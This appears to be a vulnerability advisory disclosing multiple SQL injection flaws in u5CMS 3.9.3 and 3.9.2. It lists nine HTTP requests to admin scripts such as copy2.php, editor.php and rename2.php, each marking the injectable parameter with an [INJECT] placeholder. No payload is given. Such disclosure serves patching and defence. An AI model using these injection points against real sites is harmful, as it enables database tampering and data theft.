66 lines
No EOL
1.5 KiB
Text
66 lines
No EOL
1.5 KiB
Text
|
|
u5CMS 3.9.3 Multiple SQL Injection Vulnerabilities
|
|
|
|
|
|
Vendor: Stefan P. Minder
|
|
Product web page: http://www.yuba.ch
|
|
Affected version: 3.9.3 and 3.9.2
|
|
|
|
Summary: u5CMS is a little, handy Content Management System for medium-sized
|
|
websites, conference / congress / submission administration, review processes,
|
|
personalized serial mails, PayPal payments and online surveys based on PHP and
|
|
MySQL and Apache.
|
|
|
|
Desc: Input passed via multiple parameters in multiple scripts is not properly
|
|
sanitised before being used in SQL queries. This can be exploited to manipulate
|
|
SQL queries by injecting arbitrary SQL code.
|
|
|
|
Tested on: Apache 2.4.10 (Win32)
|
|
PHP 5.6.3
|
|
MySQL 5.6.21
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2015-5225
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5225.php
|
|
|
|
|
|
29.12.2014
|
|
|
|
---
|
|
|
|
|
|
1. POST /u5cms/u5admin/copy2.php?name=album HTTP/1.1
|
|
|
|
name=album[INJECT]
|
|
|
|
|
|
2. GET /u5cms/u5admin/editor.php?c=start[INJECT] HTTP/1.1
|
|
|
|
|
|
3. GET /u5cms/u5admin/localize.php?name=album[INJECT] HTTP/1.1
|
|
|
|
|
|
4. POST /u5cms/u5admin/meta2.php?typ=a[INJECT]&uri=metai.php HTTP/1.1
|
|
|
|
|
|
5. GET /u5cms/u5admin/metai.php?typ=a&name=album[INJECT] HTTP/1.1
|
|
|
|
|
|
6. GET /u5cms/u5admin/nc.php?name=o[INJECT] HTTP/1.1
|
|
|
|
|
|
7. POST /u5cms/u5admin/new2.php?typ=e HTTP/1.1
|
|
|
|
name=test[INJECT]&typ=e
|
|
|
|
|
|
8. POST /u5cms/u5admin/rename2.php?name=album HTTP/1.1
|
|
|
|
name=album2[INJECT]&ulinks=yes
|
|
|
|
|
|
9. GET /u5cms/u5admin/rename2.php?name=valbum&newname=valbum2[INJECT]&typ=a HTTP/1.1 |